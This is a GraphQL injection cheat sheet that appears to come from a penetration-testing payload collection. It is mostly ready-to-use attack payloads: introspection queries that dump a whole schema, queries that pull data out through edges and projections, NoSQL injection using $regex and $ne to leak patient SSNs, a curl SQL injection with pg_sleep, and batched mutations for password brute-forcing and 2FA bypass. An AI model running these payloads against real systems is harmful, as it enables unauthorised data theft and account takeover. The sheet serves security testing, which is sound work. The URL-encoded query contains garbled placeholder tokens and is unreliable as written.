Skip to content

GraphQL injection

GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

Summary

Tools

Exploit

Identify an injection point

Most of the time the graphql is located on the /graphql or /graphiql endpoint.

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

Check if errors are visible.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

fragment+FullType+on+__Type+czjqqkd:0kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++czjqqkd:1++++type+czjqqkd:2++++...TypeRef++czjqqkd:3++++isDeprecated++++deprecationReason++}++inputFields+czjqqkd:4++...InputValueczjqqkd:5++interfaces+czjqqkd:6++...TypeRefczjqqkd:7++enumValues(includeDeprecated%3a+true)+czjqqkd:8++name++++description++++isDeprecated++++deprecationReasonczjqqkd:9++possibleTypes+czjqqkd:10++...TypeRefczjqqkd:11}fragment+InputValue+on+__InputValue+czjqqkd:12name++description++type+{++++...TypeRefczjqqkd:13++defaultValue}fragment+TypeRef+on+__Type+czjqqkd:14kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++czjqqkd:15++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+czjqqkd:16__schema+{++++queryType+{++++++name++czjqqkd:17++++mutationType+czjqqkd:18++++name++czjqqkd:19++++types+czjqqkd:20++++...FullType++czjqqkd:21++++directives+czjqqkd:22++++name++++++description++++++locations++++++args+{++++++++...InputValue++++czjqqkd:23++++}++}}

URL decoded query to dump the database schema.

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Single line query to dump the database schema without fragments.

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}

List path

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

Extract data

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

HTB Help - GraphQL injection

Extract data using edges/nodes

{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
} 

Extract data using projections

⚠️ Don’t forget to escape the " inside the options.

{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}

Enumerate the types' definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

Use mutations

Mutations work like function, you can use them to interact with the GraphQL.

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

NOSQL injection

Use $regex, $ne from inside a search parameter.

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL injection

Send a single quote ' inside a graphql parameter to trigger the SQL injection

{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}

Simple SQL injection inside a graphql field.

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

GraphQL Batching Attacks

Common scenario: * Password Brute-force Amplification Scenario * 2FA bypassing

mutation finishChannelVerificationMutation(
  $input FinishChannelVerificationInput!,
  $input2 FinishChannelVerificationInput!,
  $input3 FinishChannelVerificationInput!,
){
  first: finishChannelVerificationMutation(input: $input){
    channel{
      id
      option{
        ... onChannelSmsOptions{
          number
        }
      }
      status
      notificationSubscription(last: 1000){ etc...  }
    }
  }


  second: finishChannelVerificationMutation(input: $input2){...}
  third: finishChannelVerificationMutation(input: $input3){...}
}

References